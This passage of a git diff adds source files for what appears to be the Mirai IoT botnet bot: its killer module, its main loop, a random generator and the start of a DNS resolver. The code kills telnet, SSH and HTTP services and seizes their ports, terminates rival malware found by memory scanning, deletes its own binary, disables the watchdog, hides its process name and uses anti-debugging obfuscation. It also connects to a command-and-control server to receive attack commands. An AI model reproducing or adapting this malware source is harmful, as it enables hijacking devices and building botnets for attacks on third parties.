*)&tmp_bind_addr, sizeof (struct sockaddr_in)); + listen(tmp_bind_fd, 1); + } +#ifdef DEBUG + printf("[killer] Bound to tcp/23 (telnet)\n"); +#endif +#endif + + // Kill SSH service and prevent it from restarting +#ifdef KILLER_REBIND_SSH + if (killer_kill_by_port(htons(22))) + { +#ifdef DEBUG + printf("[killer] Killed tcp/22 (SSH)\n"); +#endif + } + tmp_bind_addr.sin_port = htons(22); + + if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) + { + bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); + listen(tmp_bind_fd, 1); + } +#ifdef DEBUG + printf("[killer] Bound to tcp/22 (SSH)\n"); +#endif +#endif + + // Kill HTTP service and prevent it from restarting +#ifdef KILLER_REBIND_HTTP + if (killer_kill_by_port(htons(80))) + { +#ifdef DEBUG + printf("[killer] Killed tcp/80 (http)\n"); +#endif + } + tmp_bind_addr.sin_port = htons(80); + + if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) + { + bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); + listen(tmp_bind_fd, 1); + } +#ifdef DEBUG + printf("[killer] Bound to tcp/80 (http)\n"); +#endif +#endif + + // In case the binary is getting deleted, we want to get the REAL realpath + sleep(5); + + killer_realpath = malloc(PATH_MAX); + killer_realpath[0] = 0; + killer_realpath_len = 0; + + if (!has_exe_access()) + { +#ifdef DEBUG + printf("[killer] Machine does not have /proc/$pid/exe\n"); +#endif + return; + } +#ifdef DEBUG + printf("[killer] Memory scanning processes\n"); +#endif + + while (TRUE) + { + DIR *dir; + struct dirent *file; + + table_unlock_val(TABLE_KILLER_PROC); + if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL) + { +#ifdef DEBUG + printf("[killer] Failed to open /proc!\n"); +#endif + break; + } + table_lock_val(TABLE_KILLER_PROC); + + while ((file = readdir(dir)) != NULL) + { + // skip all folders that are not PIDs + if (*(file->d_name) < '0' || *(file->d_name) > '9') + continue; + + char exe_path[64], *ptr_exe_path = exe_path, realpath[PATH_MAX]; + char status_path[64], *ptr_status_path = status_path; + int rp_len, fd, pid = atoi(file->d_name); + + scan_counter++; + if (pid <= killer_highest_pid) + { + if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap + { +#ifdef DEBUG + printf("[killer] %d seconds have passed since last scan. Re-scanning all processes!\n", KILLER_RESTART_SCAN_TIME); +#endif + killer_highest_pid = KILLER_MIN_PID; + } + else + { + if (pid > KILLER_MIN_PID && scan_counter % 10 == 0) + sleep(1); // Sleep so we can wait for another process to spawn + } + + continue; + } + if (pid > killer_highest_pid) + killer_highest_pid = pid; + last_pid_scan = time(NULL); + + table_unlock_val(TABLE_KILLER_PROC); + table_unlock_val(TABLE_KILLER_EXE); + + // Store /proc/$pid/exe into exe_path + ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); + ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name); + ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL)); + + // Store /proc/$pid/status into status_path + ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); + ptr_status_path += util_strcpy(ptr_status_path, file->d_name); + ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL)); + + table_lock_val(TABLE_KILLER_PROC); + table_lock_val(TABLE_KILLER_EXE); + + // Resolve exe_path (/proc/$pid/exe) -> realpath + if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1) + { + realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string + + table_unlock_val(TABLE_KILLER_ANIME); + // If path contains ".anime" kill. + if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1) + { + unlink(realpath); + kill(pid, 9); + } + table_lock_val(TABLE_KILLER_ANIME); + + // Skip this file if its realpath == killer_realpath + if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath)) + continue; + + if ((fd = open(realpath, O_RDONLY)) == -1) + { +#ifdef DEBUG + printf("[killer] Process '%s' has deleted binary!\n", realpath); +#endif + kill(pid, 9); + } + close(fd); + } + + if (memory_scan_match(exe_path)) + { +#ifdef DEBUG + printf("[killer] Memory scan match for binary %s\n", exe_path); +#endif + kill(pid, 9); + } + + /* + if (upx_scan_match(exe_path, status_path)) + { +#ifdef DEBUG + printf("[killer] UPX scan match for binary %s\n", exe_path); +#endif + kill(pid, 9); + } + */ + + // Don't let others memory scan!!! + util_zero(exe_path, sizeof (exe_path)); + util_zero(status_path, sizeof (status_path)); + + sleep(1); + } + + closedir(dir); + } + +#ifdef DEBUG + printf("[killer] Finished\n"); +#endif +} + +void killer_kill(void) +{ + kill(killer_pid, 9); +} + +BOOL killer_kill_by_port(port_t port) +{ + DIR *dir, *fd_dir; + struct dirent *entry, *fd_entry; + char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[513] = {0}; + int pid = 0, fd = 0; + char inode[16] = {0}; + char *ptr_path = path; + int ret = 0; + char port_str[16]; + +#ifdef DEBUG + printf("[killer] Finding and killing processes holding port %d\n", ntohs(port)); +#endif + + util_itoa(ntohs(port), 16, port_str); + if (util_strlen(port_str) == 2) + { + port_str[2] = port_str[0]; + port_str[3] = port_str[1]; + port_str[4] = 0; + + port_str[0] = '0'; + port_str[1] = '0'; + } + + table_unlock_val(TABLE_KILLER_PROC); + table_unlock_val(TABLE_KILLER_EXE); + table_unlock_val(TABLE_KILLER_FD); + + fd = open("/proc/net/tcp", O_RDONLY); + if (fd == -1) + return 0; + + while (util_fdgets(buffer, 512, fd) != NULL) + { + int i = 0, ii = 0; + + while (buffer[i] != 0 && buffer[i] != ':') + i++; + + if (buffer[i] == 0) continue; + i += 2; + ii = i; + + while (buffer[i] != 0 && buffer[i] != ' ') + i++; + buffer[i++] = 0; + + // Compare the entry in /proc/net/tcp to the hex value of the htons port + if (util_stristr(&(buffer[ii]), util_strlen(&(buffer[ii])), port_str) != -1) + { + int column_index = 0; + BOOL in_column = FALSE; + BOOL listening_state = FALSE; + + while (column_index < 7 && buffer[++i] != 0) + { + if (buffer[i] == ' ' || buffer[i] == '\t') + in_column = TRUE; + else + { + if (in_column == TRUE) + column_index++; + + if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A') + { + listening_state = TRUE; + } + + in_column = FALSE; + } + } + ii = i; + + if (listening_state == FALSE) + continue; + + while (buffer[i] != 0 && buffer[i] != ' ') + i++; + buffer[i++] = 0; + + if (util_strlen(&(buffer[ii])) > 15) + continue; + + util_strcpy(inode, &(buffer[ii])); + break; + } + } + close(fd); + + // If we failed to find it, lock everything and move on + if (util_strlen(inode) == 0) + { +#ifdef DEBUG + printf("Failed to find inode for port %d\n", ntohs(port)); +#endif + table_lock_val(TABLE_KILLER_PROC); + table_lock_val(TABLE_KILLER_EXE); + table_lock_val(TABLE_KILLER_FD); + + return 0; + } + +#ifdef DEBUG + printf("Found inode \"%s\" for port %d\n", inode, ntohs(port)); +#endif + + if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) != NULL) + { + while ((entry = readdir(dir)) != NULL && ret == 0) + { + char *pid = entry->d_name; + + // skip all folders that are not PIDs + if (*pid < '0' || *pid > '9') + continue; + + util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); + util_strcpy(ptr_path + util_strlen(ptr_path), pid); + util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_EXE, NULL)); + + if (readlink(path, exe, PATH_MAX) == -1) + continue; + + util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); + util_strcpy(ptr_path + util_strlen(ptr_path), pid); + util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL)); + if ((fd_dir = opendir(path)) != NULL) + { + while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0) + { + char *fd_str = fd_entry->d_name; + + util_zero(exe, PATH_MAX); + util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); + util_strcpy(ptr_path + util_strlen(ptr_path), pid); + util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL)); + util_strcpy(ptr_path + util_strlen(ptr_path), "/"); + util_strcpy(ptr_path + util_strlen(ptr_path), fd_str); + if (readlink(path, exe, PATH_MAX) == -1) + continue; + + if (util_stristr(exe, util_strlen(exe), inode) != -1) + { +#ifdef DEBUG + printf("[killer] Found pid %d for port %d\n", util_atoi(pid, 10), ntohs(port)); +#else + kill(util_atoi(pid, 10), 9); +#endif + ret = 1; + } + } + closedir(fd_dir); + } + } + closedir(dir); + } + + sleep(1); + + table_lock_val(TABLE_KILLER_PROC); + table_lock_val(TABLE_KILLER_EXE); + table_lock_val(TABLE_KILLER_FD); + + return ret; +} + +static BOOL has_exe_access(void) +{ + char path[PATH_MAX], *ptr_path = path, tmp[16]; + int fd, k_rp_len; + + table_unlock_val(TABLE_KILLER_PROC); + table_unlock_val(TABLE_KILLER_EXE); + + // Copy /proc/$pid/exe into path + ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); + ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp)); + ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_EXE, NULL)); + + // Try to open file + if ((fd = open(path, O_RDONLY)) == -1) + { +#ifdef DEBUG + printf("[killer] Failed to open()\n"); +#endif + return FALSE; + } + close(fd); + + table_lock_val(TABLE_KILLER_PROC); + table_lock_val(TABLE_KILLER_EXE); + + if ((k_rp_len = readlink(path, killer_realpath, PATH_MAX - 1)) != -1) + { + killer_realpath[k_rp_len] = 0; +#ifdef DEBUG + printf("[killer] Detected we are running out of `%s`\n", killer_realpath); +#endif + } + + util_zero(path, ptr_path - path); + + return TRUE; +} + +/* +static BOOL status_upx_check(char *exe_path, char *status_path) +{ + int fd, ret; + + if ((fd = open(exe_path, O_RDONLY)) != -1) + { + close(fd); + return FALSE; + } + + if ((fd = open(status_path, O_RDONLY)) == -1) + return FALSE; + + while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0) + { + if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) || + mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) || + mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) || + mem_exists(rdbuf, ret, m_upx_str, m_upx_len) || + mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) + { + found = TRUE; + break; + } + } + + //eyy + + close(fd); + return FALSE; +} +*/ + +static BOOL memory_scan_match(char *path) +{ + int fd, ret; + char rdbuf[4096]; + char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard; + int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len; + BOOL found = FALSE; + + if ((fd = open(path, O_RDONLY)) == -1) + return FALSE; + + table_unlock_val(TABLE_MEM_QBOT); + table_unlock_val(TABLE_MEM_QBOT2); + table_unlock_val(TABLE_MEM_QBOT3); + table_unlock_val(TABLE_MEM_UPX); + table_unlock_val(TABLE_MEM_ZOLLARD); + + m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len); + m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len); + m_qbot_dup = table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len); + m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len); + m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len); + + while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0) + { + if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) || + mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) || + mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) || + mem_exists(rdbuf, ret, m_upx_str, m_upx_len) || + mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) + { + found = TRUE; + break; + } + } + + table_lock_val(TABLE_MEM_QBOT); + table_lock_val(TABLE_MEM_QBOT2); + table_lock_val(TABLE_MEM_QBOT3); + table_lock_val(TABLE_MEM_UPX); + table_lock_val(TABLE_MEM_ZOLLARD); + + close(fd); + + return found; +} + +static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len) +{ + int matches = 0; + + if (str_len > buf_len) + return FALSE; + + while (buf_len--) + { + if (*buf++ == str[matches]) + { + if (++matches == str_len) + return TRUE; + } + else + matches = 0; + } + + return FALSE; +} diff --git a/mirai/bot/killer.h b/mirai/bot/killer.h new file mode 100755 index 0000000..7e2b657 --- /dev/null +++ b/mirai/bot/killer.h @@ -0,0 +1,19 @@ +#pragma once + +#include "includes.h" + +#define KILLER_MIN_PID 400 +#define KILLER_RESTART_SCAN_TIME 600 + +#define KILLER_REBIND_TELNET +// #define KILLER_REBIND_SSH +// #define KILLER_REBIND_HTTP + +void killer_init(void); +void killer_kill(void); +BOOL killer_kill_by_port(port_t); + +static BOOL has_exe_access(void); +static BOOL memory_scan_match(char *); +static BOOL status_upx_check(char *, char *); +static BOOL mem_exists(char *, int, char *, int); diff --git a/mirai/bot/main.c b/mirai/bot/main.c new file mode 100755 index 0000000..8c0510f --- /dev/null +++ b/mirai/bot/main.c @@ -0,0 +1,533 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "includes.h" +#include "table.h" +#include "rand.h" +#include "attack.h" +#include "killer.h" +#include "scanner.h" +#include "util.h" +#include "resolv.h" + +static void anti_gdb_entry(int); +static void resolve_cnc_addr(void); +static void establish_connection(void); +static void teardown_connection(void); +static void ensure_single_instance(void); +static BOOL unlock_tbl_if_nodebug(char *); + +struct sockaddr_in srv_addr; +int fd_ctrl = -1, fd_serv = -1; +BOOL pending_connection = FALSE; +void (*resolve_func)(void) = (void (*)(void))util_local_addr; // Overridden in anti_gdb_entry + +#ifdef DEBUG +static void segv_handler(int sig, siginfo_t *si, void *unused) +{ + printf("Got SIGSEGV at address: 0x%lx\n", (long) si->si_addr); + exit(EXIT_FAILURE); +} +#endif + +int main(int argc, char **args) +{ + char *tbl_exec_succ; + char name_buf[32]; + char id_buf[32]; + int name_buf_len; + int tbl_exec_succ_len; + int pgid, pings = 0; + +#ifndef DEBUG + sigset_t sigs; + int wfd; + + // Delete self + unlink(args[0]); + + // Signal based control flow + sigemptyset(&sigs); + sigaddset(&sigs, SIGINT); + sigprocmask(SIG_BLOCK, &sigs, NULL); + signal(SIGCHLD, SIG_IGN); + signal(SIGTRAP, &anti_gdb_entry); + + // Prevent watchdog from rebooting device + if ((wfd = open("/dev/watchdog", 2)) != -1 || + (wfd = open("/dev/misc/watchdog", 2)) != -1) + { + int one = 1; + + ioctl(wfd, 0x80045704, &one); + close(wfd); + wfd = 0; + } + chdir("/"); +#endif + +#ifdef DEBUG + printf("DEBUG MODE YO\n"); + + sleep(1); + + struct sigaction sa; + + sa.sa_flags = SA_SIGINFO; + sigemptyset(&sa.sa_mask); + sa.sa_sigaction = segv_handler; + if (sigaction(SIGSEGV, &sa, NULL) == -1) + perror("sigaction"); + + sa.sa_flags = SA_SIGINFO; + sigemptyset(&sa.sa_mask); + sa.sa_sigaction = segv_handler; + if (sigaction(SIGBUS, &sa, NULL) == -1) + perror("sigaction"); +#endif + + LOCAL_ADDR = util_local_addr(); + + srv_addr.sin_family = AF_INET; + srv_addr.sin_addr.s_addr = FAKE_CNC_ADDR; + srv_addr.sin_port = htons(FAKE_CNC_PORT); + +#ifdef DEBUG + unlock_tbl_if_nodebug(args[0]); + anti_gdb_entry(0); +#else + if (unlock_tbl_if_nodebug(args[0])) + raise(SIGTRAP); +#endif + + ensure_single_instance(); + + rand_init(); + + util_zero(id_buf, 32); + if (argc == 2 && util_strlen(args[1]) < 32) + { + util_strcpy(id_buf, args[1]); + util_zero(args[1], util_strlen(args[1])); + } + + // Hide argv0 + name_buf_len = ((rand_next() % 4) + 3) * 4; + rand_alphastr(name_buf, name_buf_len); + name_buf[name_buf_len] = 0; + util_strcpy(args[0], name_buf); + + // Hide process name + name_buf_len = ((rand_next() % 6) + 3) * 4; + rand_alphastr(name_buf, name_buf_len); + name_buf[name_buf_len] = 0; + prctl(PR_SET_NAME, name_buf); + + // Print out system exec + table_unlock_val(TABLE_EXEC_SUCCESS); + tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len); + write(STDOUT, tbl_exec_succ, tbl_exec_succ_len); + write(STDOUT, "\n", 1); + table_lock_val(TABLE_EXEC_SUCCESS); + +#ifndef DEBUG + if (fork() > 0) + return 0; + pgid = setsid(); + close(STDIN); + close(STDOUT); + close(STDERR); +#endif + + attack_init(); + killer_init(); +#ifndef DEBUG +#ifdef MIRAI_TELNET + scanner_init(); +#endif +#endif + + while (TRUE) + { + fd_set fdsetrd, fdsetwr, fdsetex; + struct timeval timeo; + int mfd, nfds; + + FD_ZERO(&fdsetrd); + FD_ZERO(&fdsetwr); + + // Socket for accept() + if (fd_ctrl != -1) + FD_SET(fd_ctrl, &fdsetrd); + + // Set up CNC sockets + if (fd_serv == -1) + establish_connection(); + + if (pending_connection) + FD_SET(fd_serv, &fdsetwr); + else + FD_SET(fd_serv, &fdsetrd); + + // Get maximum FD for select + if (fd_ctrl > fd_serv) + mfd = fd_ctrl; + else + mfd = fd_serv; + + // Wait 10s in call to select() + timeo.tv_usec = 0; + timeo.tv_sec = 10; + nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo); + if (nfds == -1) + { +#ifdef DEBUG + printf("select() errno = %d\n", errno); +#endif + continue; + } + else if (nfds == 0) + { + uint16_t len = 0; + + if (pings++ % 6 == 0) + send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); + } + + // Check if we need to kill ourselves + if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd)) + { + struct sockaddr_in cli_addr; + socklen_t cli_addr_len = sizeof (cli_addr); + + accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len); + +#ifdef DEBUG + printf("[main] Detected newer instance running! Killing self\n"); +#endif +#ifdef MIRAI_TELNET + scanner_kill(); +#endif + killer_kill(); + attack_kill_all(); + kill(pgid * -1, 9); + exit(0); + } + + // Check if CNC connection was established or timed out or errored + if (pending_connection) + { + pending_connection = FALSE; + + if (!FD_ISSET(fd_serv, &fdsetwr)) + { +#ifdef DEBUG + printf("[main] Timed out while connecting to CNC\n"); +#endif + teardown_connection(); + } + else + { + int err = 0; + socklen_t err_len = sizeof (err); + + getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len); + if (err != 0) + { +#ifdef DEBUG + printf("[main] Error while connecting to CNC code=%d\n", err); +#endif + close(fd_serv); + fd_serv = -1; + sleep((rand_next() % 10) + 1); + } + else + { + uint8_t id_len = util_strlen(id_buf); + + LOCAL_ADDR = util_local_addr(); + send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL); + send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL); + if (id_len > 0) + { + send(fd_serv, id_buf, id_len, MSG_NOSIGNAL); + } +#ifdef DEBUG + printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR); +#endif + } + } + } + else if (fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd)) + { + int n; + uint16_t len; + char rdbuf[1024]; + + // Try to read in buffer length from CNC + errno = 0; + n = recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL | MSG_PEEK); + if (n == -1) + { + if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) + continue; + else + n = 0; // Cause connection to close + } + + // If n == 0 then we close the connection! + if (n == 0) + { +#ifdef DEBUG + printf("[main] Lost connection with CNC (errno = %d) 1\n", errno); +#endif + teardown_connection(); + continue; + } + + // Convert length to network order and sanity check length + if (len == 0) // If it is just a ping, no need to try to read in buffer data + { + recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); // skip buffer for length + continue; + } + len = ntohs(len); + if (len > sizeof (rdbuf)) + { + close(fd_serv); + fd_serv = -1; + } + + // Try to read in buffer from CNC + errno = 0; + n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK); + if (n == -1) + { + if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) + continue; + else + n = 0; + } + + // If n == 0 then we close the connection! + if (n == 0) + { +#ifdef DEBUG + printf("[main] Lost connection with CNC (errno = %d) 2\n", errno); +#endif + teardown_connection(); + continue; + } + + // Actually read buffer length and buffer data + recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); + len = ntohs(len); + recv(fd_serv, rdbuf, len, MSG_NOSIGNAL); + +#ifdef DEBUG + printf("[main] Received %d bytes from CNC\n", len); +#endif + + if (len > 0) + attack_parse(rdbuf, len); + } + } + + return 0; +} + +static void anti_gdb_entry(int sig) +{ + resolve_func = resolve_cnc_addr; +} + +static void resolve_cnc_addr(void) +{ + struct resolv_entries *entries; + + table_unlock_val(TABLE_CNC_DOMAIN); + entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL)); + table_lock_val(TABLE_CNC_DOMAIN); + if (entries == NULL) + { +#ifdef DEBUG + printf("[main] Failed to resolve CNC address\n"); +#endif + return; + } + srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len]; + resolv_entries_free(entries); + + table_unlock_val(TABLE_CNC_PORT); + srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL)); + table_lock_val(TABLE_CNC_PORT); + +#ifdef DEBUG + printf("[main] Resolved domain\n"); +#endif +} + +static void establish_connection(void) +{ +#ifdef DEBUG + printf("[main] Attempting to connect to CNC\n"); +#endif + + if ((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) + { +#ifdef DEBUG + printf("[main] Failed to call socket(). Errno = %d\n", errno); +#endif + return; + } + + fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0)); + + // Should call resolve_cnc_addr + if (resolve_func != NULL) + resolve_func(); + + pending_connection = TRUE; + connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof (struct sockaddr_in)); +} + +static void teardown_connection(void) +{ +#ifdef DEBUG + printf("[main] Tearing down connection to CNC!\n"); +#endif + + if (fd_serv != -1) + close(fd_serv); + fd_serv = -1; + sleep(1); +} + +static void ensure_single_instance(void) +{ + static BOOL local_bind = TRUE; + struct sockaddr_in addr; + int opt = 1; + + if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1) + return; + setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int)); + fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0)); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR; + addr.sin_port = htons(SINGLE_INSTANCE_PORT); + + // Try to bind to the control port + errno = 0; + if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) + { + if (errno == EADDRNOTAVAIL && local_bind) + local_bind = FALSE; +#ifdef DEBUG + printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno); +#endif + + // Reset addr just in case + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = INADDR_ANY; + addr.sin_port = htons(SINGLE_INSTANCE_PORT); + + if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) + { +#ifdef DEBUG + printf("[main] Failed to connect to fd_ctrl to request process termination\n"); +#endif + } + + sleep(5); + close(fd_ctrl); + killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); + ensure_single_instance(); // Call again, so that we are now the control + } + else + { + if (listen(fd_ctrl, 1) == -1) + { +#ifdef DEBUG + printf("[main] Failed to call listen() on fd_ctrl\n"); + close(fd_ctrl); + sleep(5); + killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); + ensure_single_instance(); +#endif + } +#ifdef DEBUG + printf("[main] We are the only process on this system!\n"); +#endif + } +} + +static BOOL unlock_tbl_if_nodebug(char *argv0) +{ + // ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72 + char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12]; + int i, ii = 0, c = 0; + uint8_t fold = 0xAF; + void (*obf_funcs[]) (void) = { + (void (*) (void))ensure_single_instance, + (void (*) (void))table_unlock_val, + (void (*) (void))table_retrieve_val, + (void (*) (void))table_init, // This is the function we actually want to run + (void (*) (void))table_lock_val, + (void (*) (void))util_memcpy, + (void (*) (void))util_strcmp, + (void (*) (void))killer_init, + (void (*) (void))anti_gdb_entry + }; + BOOL matches; + + for (i = 0; i < 7; i++) + c += (long)obf_funcs[i]; + if (c == 0) + return FALSE; + + // We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3 + for (i = 0; i < sizeof (buf_src); i += 3) + { + char tmp = buf_src[i]; + + buf_dst[ii++] = buf_src[i + 1]; + buf_dst[ii++] = tmp; + + // Meaningless tautology that gets you right back where you started + i *= 2; + i += 14; + i /= 2; + i -= 7; + + // Mess with 0xAF + fold += ~argv0[ii % util_strlen(argv0)]; + } + fold %= (sizeof (obf_funcs) / sizeof (void *)); + +#ifndef DEBUG + (obf_funcs[fold])(); + matches = util_strcmp(argv0, buf_dst); + util_zero(buf_src, sizeof (buf_src)); + util_zero(buf_dst, sizeof (buf_dst)); + return matches; +#else + table_init(); + return TRUE; +#endif +} diff --git a/mirai/bot/protocol.h b/mirai/bot/protocol.h new file mode 100755 index 0000000..6e48050 --- /dev/null +++ b/mirai/bot/protocol.h @@ -0,0 +1,34 @@ +#pragma once + +#include + +#include "includes.h" + +struct dnshdr { + uint16_t id, opts, qdcount, ancount, nscount, arcount; +}; + +struct dns_question { + uint16_t qtype, qclass; +}; + +struct dns_resource { + uint16_t type, _class; + uint32_t ttl; + uint16_t data_len; +} __attribute__((packed)); + +struct grehdr { + uint16_t opts, protocol; +}; + +#define PROTO_DNS_QTYPE_A 1 +#define PROTO_DNS_QCLASS_IP 1 + +#define PROTO_TCP_OPT_NOP 1 +#define PROTO_TCP_OPT_MSS 2 +#define PROTO_TCP_OPT_WSS 3 +#define PROTO_TCP_OPT_SACK 4 +#define PROTO_TCP_OPT_TSVAL 8 + +#define PROTO_GRE_TRANS_ETH 0x6558 diff --git a/mirai/bot/rand.c b/mirai/bot/rand.c new file mode 100755 index 0000000..ed5105c --- /dev/null +++ b/mirai/bot/rand.c @@ -0,0 +1,84 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include + +#include "includes.h" +#include "rand.h" + +static uint32_t x, y, z, w; + +void rand_init(void) +{ + x = time(NULL); + y = getpid() ^ getppid(); + z = clock(); + w = z ^ y; +} + +uint32_t rand_next(void) //period 2^96-1 +{ + uint32_t t = x; + t ^= t << 11; + t ^= t >> 8; + x = y; y = z; z = w; + w ^= w >> 19; + w ^= t; + return w; +} + +void rand_str(char *str, int len) // Generate random buffer (not alphanumeric!) of length len +{ + while (len > 0) + { + if (len >= 4) + { + *((uint32_t *)str) = rand_next(); + str += sizeof (uint32_t); + len -= sizeof (uint32_t); + } + else if (len >= 2) + { + *((uint16_t *)str) = rand_next() & 0xFFFF; + str += sizeof (uint16_t); + len -= sizeof (uint16_t); + } + else + { + *str++ = rand_next() & 0xFF; + len--; + } + } +} + +void rand_alphastr(uint8_t *str, int len) // Random alphanumeric string, more expensive than rand_str +{ + const char alphaset[] = "abcdefghijklmnopqrstuvw012345678"; + + while (len > 0) + { + if (len >= sizeof (uint32_t)) + { + int i; + uint32_t entropy = rand_next(); + + for (i = 0; i < sizeof (uint32_t); i++) + { + uint8_t tmp = entropy & 0xff; + + entropy = entropy >> 8; + tmp = tmp >> 3; + + *str++ = alphaset[tmp]; + } + len -= sizeof (uint32_t); + } + else + { + *str++ = rand_next() % (sizeof (alphaset)); + len--; + } + } +} diff --git a/mirai/bot/rand.h b/mirai/bot/rand.h new file mode 100755 index 0000000..c9069af --- /dev/null +++ b/mirai/bot/rand.h @@ -0,0 +1,10 @@ +#pragma once + +#include + +#define PHI 0x9e3779b9 + +void rand_init(void); +uint32_t rand_next(void); +void rand_str(char *, int); +void rand_alphastr(uint8_t *, int); diff --git a/mirai/bot/resolv.c b/mirai/bot/resolv.c new file mode 100755 index 0000000..ea1f62d --- /dev/null +++ b/mirai/bot/resolv.c @@ -0,0 +1,237 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include + +#include "includes.h" +#include "resolv.h" +#include "util.h" +#include "rand.h" +#include "protocol.h" + +void resolv_domain_to_hostname(char *dst_hostname, char *src_domain) +{ + int len = util_strlen(src_domain) + 1; + char *lbl = dst_hostname, *dst_pos = dst_hostname + 1; + uint8_t curr_len = 0; + + while (len-- > 0) + { + char c = *src_domain++; + + if (c == '.' || c == 0) + { + *lbl = curr_len; + lbl = dst_pos++; + 